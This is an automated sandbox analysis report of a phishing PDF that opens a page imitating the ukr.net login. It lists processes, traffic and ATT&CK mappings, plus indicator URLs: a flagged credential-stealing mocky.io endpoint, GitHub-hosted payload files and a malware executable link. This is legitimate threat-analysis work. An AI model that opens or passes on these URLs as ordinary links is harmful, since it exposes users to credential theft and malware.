Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.4:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.4:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.4:49995 version: TLS 1.2

Source: classification engine

Classification label: mal56.winPDF@39/74@25/11

Source: VM2ICvV5qQ.pdf

Initial sample: http://ukraine.html-5.me/

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-10-24 02-49-56-331.log

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: VM2ICvV5qQ.pdf

ReversingLabs: Detection: 18%

Source: unknown	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\VM2ICvV5qQ.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2056 --field-trial-handle=1576,i,17576929266965801877,15337024028248094855,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "http://ukraine.html-5.me/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=1948,i,13345882989207560503,15926659493507992015,262144 /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2056 --field-trial-handle=1576,i,17576929266965801877,15337024028248094855,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=1948,i,13345882989207560503,15926659493507992015,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: VM2ICvV5qQ.pdf	Initial sample: PDF keyword /JS count = 0
Source: VM2ICvV5qQ.pdf	Initial sample: PDF keyword /JavaScript count = 0

Source: VM2ICvV5qQ.pdf

Initial sample: PDF keyword /EmbeddedFile count = 0

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	1 Spearphishing Link	Windows Management Instrumentation	1 Scripting	1 Process Injection	1 Masquerading	OS Credential Dumping	1 System Information Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	3 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
VM2ICvV5qQ.pdf	18%	ReversingLabs	Document-PDF.Phishing.Generic

Source	Detection	Scanner	Label
https://run.mocky.io/v3/11273092-7220-4b85-b8d8-758c5fd141a2	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering
http://x1.i.lencr.org/	0%	URL Reputation	safe
http://scripts.sil.org/OFL	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
accounts.ukr.net	212.42.75.253	true	false	unknown
ukraine.html-5.me	185.27.134.114	true	false	unknown
domain.par.clever-cloud.com	91.208.207.216	true	false	unknown
jkbfgkjdffghh.linkpc.net	3.67.15.169	true	false	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	unknown
raw.githubusercontent.com	185.199.109.133	true	false	unknown
www.google.com	216.58.206.68	true	false	unknown
httpbin.org	34.228.248.173	true	false	unknown
_17461._https.jkbfgkjdffghh.linkpc.net	unknown	unknown	false	unknown
run.mocky.io	unknown	unknown	false	unknown
x1.i.lencr.org	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://ukraine.html-5.me/aes.js	false		unknown
https://raw.githubusercontent.com/noppa/text-security/master/dist/text-security-disc.woff	false		unknown
https://accounts.ukr.net/login/favicon.ico	false		unknown
https://cdnjs.cloudflare.com/ajax/libs/lato-font/2.0.0/fonts/lato-bold/lato-bold.ttf	false		unknown
https://accounts.ukr.net/login/assets/loader-3VguyQcd.gif	false		unknown
https://run.mocky.io/v3/11273092-7220-4b85-b8d8-758c5fd141a2	true	SlashNext: Credential Stealing type: Phishing & Social Engineering	unknown
https://httpbin.org/ip	false		unknown
https://run.mocky.io/v3/8dbd585e-805d-4b14-8485-c6da4c3ef5a7	false		unknown
http://ukraine.html-5.me/	false		unknown
http://ukraine.html-5.me/?i=1	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.1.dr	false	URL Reputation: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/lato-font/2.0.0/fonts/lato-bold/lato-bold.woff)	chromecache_187.10.dr	false		unknown
http://www.latofonts.com/http://www.typoland.com/http://www.latofonts.com/Copyright	chromecache_194.10.dr	false		unknown
https://cdnjs.cloudflare.com/ajax/libs/lato-font/2.0.0/fonts/lato-bold/lato-bold.ttf)	chromecache_187.10.dr	false		unknown
https://jkbfgkjdffghh.linkpc.net:17461	chromecache_187.10.dr	false		unknown
http://www.typoland.com/)	chromecache_194.10.dr	false		unknown
http://ukraine.html-5.me/)	VM2ICvV5qQ.pdf	false		unknown
https://www.ukr.net/terms/	chromecache_187.10.dr	false		unknown
https://mail.ukr.net	chromecache_187.10.dr	false		unknown
http://www.latofonts.com/Lato-BoldLato	chromecache_194.10.dr	false		unknown
https://mail.ukr.net/terms_uk.html	chromecache_187.10.dr	false		unknown
http://scripts.sil.org/OFLCopyright	chromecache_194.10.dr	false		unknown
http://scripts.sil.org/OFL	chromecache_194.10.dr	false	URL Reputation: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/lato-font/2.0.0/fonts/lato-bold/lato-bold.woff2)	chromecache_187.10.dr	false		unknown
http://scripts.sil.org/OFL).	chromecache_194.10.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
212.42.75.253	accounts.ukr.net	Ukraine	8856	UKRNETKievUkraineUA	false
185.27.134.114	ukraine.html-5.me	United Kingdom	34119	WILDCARD-ASWildcardUKLimitedGB	false
34.228.248.173	httpbin.org	United States	14618	AMAZON-AESUS	false
185.199.109.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
91.208.207.216	domain.par.clever-cloud.com	unknown	43424	MAGICRETAILFR	false
44.196.139.143	unknown	United States	14618	AMAZON-AESUS	false
216.58.206.68	www.google.com	United States	15169	GOOGLEUS	false
3.67.15.169	jkbfgkjdffghh.linkpc.net	United States	16509	AMAZON-02US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1540848
Start date and time:	2024-10-24 08:48:57 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowspdfcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	VM2ICvV5qQ.pdf renamed because original name is a hash value
Original Sample Name:	edeeb6bb575d972ae8d11805eaaaa681.pdf
Detection:	MAL
Classification:	mal56.winPDF@39/74@25/11
Cookbook Comments:	Found application associated with file extension: .pdf Found PDF document Close Viewer

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 2.19.126.143, 2.19.126.149, 18.207.85.246, 107.22.247.231, 34.193.227.236, 54.144.73.197, 172.64.41.3, 162.159.61.3, 2.23.197.184, 95.101.148.135, 93.184.221.240, 192.229.221.95, 142.250.186.99, 142.250.186.78, 74.125.206.84, 34.104.35.123, 172.217.16.202, 142.250.185.202, 216.58.206.42, 142.250.185.106, 142.250.186.106, 142.250.184.234, 142.250.185.74, 142.250.185.138, 216.58.212.170, 142.250.186.74, 142.250.185.234, 172.217.16.138, 172.217.18.10, 142.250.186.138, 142.250.186.42, 142.250.181.234, 142.250.185.170, 172.217.18.106, 142.250.186.170, 172.217.23.106, 216.58.206.74, 142.250.184.202, 216.58.212.138, 142.250.186.35, 142.250.185.78
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, e4578.dscb.akamaiedge.net, clientservices.googleapis.com, acroipm2.adobe.com, wu.azureedge.net, clients2.google.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, hlb.apr-52dd2-0.edgecastdns.net, update.googleapis.com, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, optimizationguide-pa.googleapis.com, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ajax.googleapis.com, wu.ec.azureedge.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, ssl.adobe.com.edgekey.net, armmf.adobe.com, edgedl.me.gvt1.com, clients.l.google.com, geo2.adobe.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: VM2ICvV5qQ.pdf

Simulations

Behavior and APIs

Time	Type	Description
02:50:07	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.17.24.14	Proforma.Invoice.Payment.$$.html	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js
	http://vtaurl.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/webfonts/fa-brands-400.woff2
	http://Voyages.CNTraveler.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/ScrollMagic/2.0.5/plugins/animation.gsap.js
212.42.75.253	report.html	Get hash	malicious	Unknown	Browse
185.199.109.133	cr_asm3.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	gabe.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	5UIy3bo46y.dll	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	HQsitBLlOv.dll	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	steamcodegenerator.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	steamcodegenerator.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Get hash	malicious	Metasploit	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt
	SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Get hash	malicious	AsyncRAT, XWorm	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
domain.par.clever-cloud.com	detail.pdf	Get hash	malicious	Unknown	Browse	91.208.207.223
domain.par.clever-cloud.com	https://ddghbbf.r.af.d.sendibt2.com/tr/cl/AZ_fzMJRsE3xIeU_QcnTrJNmrQopncatDd-eovbR7xYq9ypiIqtwKWyrTIIdxNfdZBUhEo89L97BvoqW-m0AK8lpY_G1A0R4-OqWFWF7yqRk6IwWGjYQTbxdkNXIPZafVx__3xwAI7RkCXl8CJrNWoLoVVIyiYf1YWtibYMuXAbvq5KxrlLw-G3RcpVIiID2f-TlZx3vckcUFNx1IBpr5JamUxI3ckvzVYmWJV1yS8ZgSAUq_5FOmOxjsnNrYCXLNFt9Ew	Get hash	malicious	Unknown	Browse	185.42.117.109
accounts.ukr.net	report.html	Get hash	malicious	Unknown	Browse	212.42.75.253
raw.githubusercontent.com	https://github.com/Matty77o/malware-samples-m-h/raw/refs/heads/main/TheTrueFriend.exe	Get hash	malicious	Unknown	Browse	185.199.109.133
	https://github.com/Matty77o/malware-samples-m-h/raw/refs/heads/main/TheTrueFriend.exe	Get hash	malicious	Unknown	Browse	185.199.108.133
	seethebestthingsformygirlshegreatfornewways.hta	Get hash	malicious	Cobalt Strike	Browse	185.199.111.133
	verynicegirlneedsuperkiisingfromtheboy.hta	Get hash	malicious	Cobalt Strike	Browse	185.199.108.133
	MlGBT3hUEG.exe	Get hash	malicious	Unknown	Browse	185.199.108.133
	NxR7UQaeKe.exe	Get hash	malicious	XWorm	Browse	185.199.110.133
	#U65b0#U7522#U54c1#U8a02#U55ae.vbs	Get hash	malicious	FormBook	Browse	185.199.110.133
	Order.vbs	Get hash	malicious	Remcos	Browse	185.199.108.133
	https://s3.us-east-2.amazonaws.com/revealedgceconomies/vdiq197yvi/ImgBurn_822881.exe?	Get hash	malicious	Unknown	Browse	185.199.108.133
	http://www.5movierulz.mom	Get hash	malicious	Unknown	Browse	185.199.110.133
httpbin.org	SecuriteInfo.com.Win64.Malware-gen.27241.18801.exe	Get hash	malicious	Unknown	Browse	34.236.15.216
	SecuriteInfo.com.Win64.Malware-gen.27241.18801.exe	Get hash	malicious	Unknown	Browse	107.22.40.220
	ActSet.ps1	Get hash	malicious	Fredy Stealer	Browse	54.84.32.120
	ActSet.ps1	Get hash	malicious	Fredy Stealer	Browse	54.84.32.120
	IDMan.exe	Get hash	malicious	Fredy Stealer	Browse	3.224.101.31
	IDMan.exe	Get hash	malicious	Fredy Stealer	Browse	52.86.188.217
	Setup_IDM.exe	Get hash	malicious	Fredy Stealer	Browse	34.199.14.71
	Setup_IDM.exe	Get hash	malicious	Fredy Stealer	Browse	34.199.14.71
	file.exe	Get hash	malicious	LummaC	Browse	18.206.19.26
	IDM_ACT.exe	Get hash	malicious	Fredy Stealer	Browse	34.199.23.206
cdnjs.cloudflare.com	https://forcallblitz.com/	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://www.amalkongsirezeki20245.org-now.info/	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://t.ly/2jKWO	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	104.17.25.14
	PO 635614 635613_CQDM.html	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://merzcon-my.sharepoint.com/:f:/g/personal/cnico_merzcon_onmicrosoft_com/EmjHG5K9dP9BtgBBeTTFhjABJRRLGM6IhVrJlwBTMWY8rg?e=pfkS1f	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/b%C2%ADr%C2%ADi%C2%ADa%C2%ADn%C2%ADs%C2%ADd%C2%ADr%C2%ADe%C2%ADn%C2%ADn%C2%ADa%C2%ADn%C2%ADm%C2%ADo%C2%AD.%C2%ADc%C2%ADo%C2%ADm%C2%AD.%C2%ADp%C2%ADl/ZsS8z/	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://s.id/closingdocview67111111	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	Review_&_Aprove_Your_Next_Payroll39298.html	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://talentrecruting.com/?Y3w2MDkxNzZ8d190cmF1MTEwRHx8fA0KfHxicnlhbi50LmJlYmJAc2FpYy5jb20=	Get hash	malicious	Unknown	Browse	104.17.25.14
	PayrolNotificationBenefit_.html	Get hash	malicious	Mamba2FA	Browse	104.17.25.14

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	EL-25-536_40005512_Le Cuivre_23102024.vbe	Get hash	malicious	GuLoader	Browse	104.21.70.11
	OUTSTANDING PAYMENT STATUS 01199241024.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.12.205
	PO-008847332.xlam.xlsx	Get hash	malicious	Unknown	Browse	104.21.53.112
	RFQ_64182MR_PDF.R00.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	104.21.53.8
	Urgent Quotation documents One Pdf.vbs	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	#PO247762.docx	Get hash	malicious	Remcos	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.206.204
	Inova oferta nr F01281624PL.html	Get hash	malicious	Unknown	Browse	1.1.1.1
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
WILDCARD-ASWildcardUKLimitedGB	http://growthsparkplus.thsite.top/?email=anna@cellnextelecom.com	Get hash	malicious	Unknown	Browse	185.27.134.108
	la.bot.arm-20241006-1050.elf	Get hash	malicious	Unknown	Browse	82.163.179.172
	https://ck.storematch.jp/bc?d=11044D9580EY4W1C2FD019VB3VD27BCW862C0351F9E0EA8-cdlaq4&B=a4f71fd1c235a114f94297e8a0a36c6e&sc_i=shp_pc_promo_mdRMBP_disp_mcad&rd=//interglobalcargoexpress.com/yuuuii#aW5mb0B2b3NzbG9oLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	31.22.4.60
	http://reactivar-email002003.hstn.me/	Get hash	malicious	Unknown	Browse	185.27.134.98
